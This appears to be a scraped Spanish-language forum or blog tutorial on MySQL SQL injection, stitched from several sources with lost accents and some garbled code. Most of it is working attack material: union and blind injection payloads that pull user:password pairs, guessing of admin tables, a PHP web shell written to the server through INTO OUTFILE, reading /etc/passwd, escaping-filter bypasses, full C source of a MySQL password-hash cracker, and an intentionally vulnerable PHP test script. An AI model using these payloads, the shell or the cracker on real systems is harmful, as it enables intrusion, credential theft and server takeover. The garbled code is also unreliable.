nombres de tabla pero no todas ejemplo:

y para evitar el tema de que aparezca todo junto podriamos hacer algo asi:

como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea <br>.

TUTORIAL DE PonyMagic

Como muchos saben, con Group_concat(), el lmite es de unos 250 caracteres, por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres, una muy simple, y la otra... masomenos El 1er Semitip` que tengo, es que cuando usen Group_concat(), realizen un cast() al objeto y lo hagan una variable CHAR. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) . Tambin, para los que setean el delimitador dentro del group, les recomiendo replazar "," por "<br>" luego con replace(). Sino, estamos gastando esos valiosos 1024chars, esto es lo mximo que sacaremos de un solo select con group_concat:

Cdigo:
Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)

hasta ah vamos a poder llegar con group_concat, pero tambin voy a "ensear" una forma para realizar un "limit casero" en el concateo supongamos que tenemos esta inject:

Cdigo:
id=1 and 1=2 union select 1,2,3,4--

lo 1ro que vamos a hacer, es un select pidiendo las tablas a information_schema.

Cdigo:
id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables ),3,4--

Lo que nos devolvera los 1ros 1024chars del concateo. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres. Para eso vamos a usar la funcion INSTR()

Cdigo:
id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables Where INSTR( (Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema.tables), Table_Name ) = 0 ),3,4--

Con esto ya tenemos 3072 chars, algo asi como ... 205 resultados ( si fueran de al rededor de 15chars c/u ) en solo 3 consultas. sino, tendramos que haber realizado 205 consultas modificando el limit de 1 en 1... Bueno, por ahora solo eso, porximamente talvez haga algo en JS que edite el link y eso para tener una inject modelo con un botoncito siguiente =P

FIN TUTO (Gracias por esta info, de verdad muy valiosa.) Link blog PonyMagic: http://ponymagic.SPAM(137)

En versiones MySQL 4 o sin permiso para information_schema la unica forma de obtener tablas y columnas es adivinndolas .. por ejemplo: http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin-- > error http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from adm-- > error http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from administrador-- > vlido y de la misma forma para columnas:

http://localhost/print.php?id=-1 union all select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from administrador-- > error http://localhost/print.php?id=-1 union all select 1,pwd,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from administrador-- > error http://localhost/print.php?id=-1 union all select 1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from administrador-- > vlido

Para qu podra servir todo esto? Desde leer archivos de configuraciones, archivos en si, etc .. solo es cuestin de imaginacin como por ejemplo obtener una shell del servidor haciendo algo como: UNION SELECT "<? system($_REQUEST[`cmd`]); ?>",2,3,4 INTO OUTFILE "/var/www/html/mishell.php" -por ejemplo: (Una vez echa la inyeccion)

y usando la shell:

Lo que estaramos haciendo es metiendo el contenido de un script en php y guardndolo en alguna parte del servidor. si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo: apache:x:48:48:Apache:/var/www:/sbin/nologin en el httpd.conf: /etc/httpd/conf/httpd.conf (la ruta varia) viendo el code de alguna web del servidor .. como index.php,noticias.php o cualquiera. o usar alguna tecnica como Full Path Disclosure: http://www.owasp.org/index.php/Full_Path_Disclosure Para hacer esto y algunas inyecciones ms,necesitamos saltarnos las magic_quotes que son las que no nos dejan hacer nuestras inyecciones con eficiencia para eso existen algunas formas .. Como el "double encoding" bastante interesante y leer (http://www.owasp.org/index.php/Double_Encoding) hex encoding para saltar filtros como las magic_quotes leer sobre "SQL Smuggling". Tambin como he ledo por ah .. podramos saltar algunos de los filtros que posee PHP veamos: ------------------------------------------------------(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x) bypass a addslashes() con codificacin GBK WHERE x = 0xbf27admin 0xbf27 ------------------------------------------------------bypass mysql_real_escape_string() con BIG5 o GBK se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion pero es posible saltarse el mysql_real_escape() de esta forma. aparte de ser caracteres chinos es BIG5

------------------------------------------------------Vectores avanzados: Usando HEX para bypassear una consulta: Consulta normal: SELECT * FROM login WHERE user = `root` Bypass: SELECT * FROM login WHERE user = 0x726F6F74 Insertando nuevo usuario en SQL. Consulta Normal: insert into login set user = root, pass = root Bypass: insert into login set user = 0726F6F74, pass = 0726F6F74 -------------------------------------------------------Como determinar el HEX? bueno se puede usar el programita de perl ms arriba o simplemente haciendo algo como: SELECT HEX(`root`); obtendremos algo como: 726F6F74 y luego le agregamos: 0x quedara: 0726F6F74 Tambien hace poco me encontre un articulo interesante del amigo xianur0 :

http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html seria bueno que lo lean. Para ver si las magic_quotes estan activadas simplemente agreguen una ` (comilla siemple) si aparece algo asi: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near `\`` at line 1 es que no es posible por que aparece una barra invertida provocando un error en la base de

datos .. pero si aparece algo asi: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ``` at line 1 sabremos que no pasa nada con la comilla simple y tendremos ms posibilidades .. y inyecciones no tan complejas adems de poder actualizar datos,borrar etc .. Ahora blind sql injection es un poco ms liado .. pero aqu va: Sabiendo si es vulnerable a Bsql Tenemos que saber esto: http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero. http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso. Nota: Recordarlo siempre. Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o etc sabemos que es vulnerable a bsql. Sabiendo la versin de mysql: http://localhost/print.php?id=-1 and substring(@@versin,1,1)=4 <--- si nos larga la pagina normal (si es verdadero) sera versin 4. http://localhost/print.php?id=-1 and substring(@@versin,1,1)=5 <--- si nos larga la pagina normal (si es verdadero) sera versin 5. Podemos usar select pero si tenemos problemas podremos usar subselect. http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1 Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor como /etc/password y etc ... usando load_file() y outfile. Buscando nombre de tabla y columna

Puede ser difcil y con ganas de cagarte en muchas cosas xD. Adivinando la tabla: Hacemos esto: http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1 Nota: con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es importante. RECODARLO Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es as tendremos que seguir adivinando. Ahora la columna: http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit 0,1)=1 Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */ Extrayendo datos Supongamos que ya tenemos nombre de la columna y la tabla: http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>80 El 80 es un carcter en ascii si nos da falso tenemos que aumentar hasta que de verdadero. http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>95 Da falso as que incrementamos. http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>95 http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>98

Nos da falso. http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>99 Verdadero! Por lo que el primer carcter en el nombre de usuario es char(99). Y convirtindolo a ascii sabemos que char (99) es la letra c. Entonces vamos a comprobar el segundo carcter: http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),2,1))>99 Fjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carcter, ahora vuelve el segundo carcter, 1 carcter de longitud. http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),2,1))>99 Nos da falso e incrementamos: http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),2,1))>107 Nos da falso y buscamos un numero menor. http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),2,1))>104 Falso, incrementamos .. http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),2,1))>105 Verdadero!

Sabemos que el segundo carcter es char(105) y que es ``i`` vamos ``ci`` y seguimos incrementando, cuando > 0 devuelve falso, sabemos que llegamos al final.

Hay herramientas que hacen que esto no sea muy pesado: http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A163 01 http://sqlmap.sourceforge.net < HERMOSA HERRAMIENTA :$ Les recomiendo leer el tutorial que hizo ka0x que contiene un script donde podemos aplicar los conocimientos de aqu y el que he usado a lo largo del tutorial .(http://www.milw0rm.com/papers/download/216) MySQL cheat sheet: http://www.justinshattuck.com/2007/01/18/mysql-injectioncheat-sheet/ MySQL cheat sheet: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ (Ms que interesante) La intencion de este tutorial es solo ensear y evitar este tipo de vulnerabilidades .. no me responsabilizo de mal uso de esta informacin espero que les sirva!! TODA LA LECTURA ES OBLIGATORIA publiquen sus tips,errores o duda en esta publicacin .

Saludos! --------------------------------tools: el soft que use para descifrar el pass: mysqlfast.c Cdigo:
/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast

* $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 state2 step = xor1 = xor2 = = state1_ary[i+1]; = state2_ary[i+1]; (state1 & 0x3f) + sum; step*MIN_CHAR + (state1 << 8); (state2 << 8) ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {

newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) {

printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar(`\n`); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }

---------------------------------------------------script vulnerable Code sql!: Cdigo:


CREATE TABLE `users` ( `id` int(10) unsigned NOT NULL auto_increment, `name` varchar(50) NOT NULL, `password` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; users INSERT INTO `users` VALUES (1, `administrator`, `1234%&_`); INSERT INTO `users` VALUES (2, `ka0x`, `t3st_bl1nd`); INSERT INTO `users` VALUES (3, `bush`, `terrorist`);

script php: Cdigo:


<?php # CONFIG $host = `localhost`; $dbuser = `root`; $dbpass = `password`; $dbname = `blind`; # echo "<title>Blind SQL Injection Test D.O.M LABS 2008</title>"; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM users WHERE id=".$_GET[`id`]; $query = mysql_query($sql); if(@mysql_num_rows($query)==0){

die(`No hay columnas`); } $result=@mysql_fetch_row($query); echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br>< br>"; echo "<font color=`#FF0000`>user_id: </font>".$result[0]."<br>"; echo "<font color=`#FF0000`>username: </font>".$result[1]."<br>"; // echo "Password: ".$result[2]."<br>"; echo "</h2></center>"; die(); ?>

Lineas para sacar la versin de base de datos sqli 4'+order+by+4--+/**/union/**/select/**/1,2,3,4 /**/and/**/1=CAST(@@version/**/as/**/integer)--+http://zixem.altervista.org/SQLi/level2.php?showprofile=4%27/**/union/**/select/**/1,2,3,vaers ion%28%29--+aqui me voto el nombre de la base de datos

3'/**/and/**/substring(@@version,1,3)=5.1--+-

También podría gustarte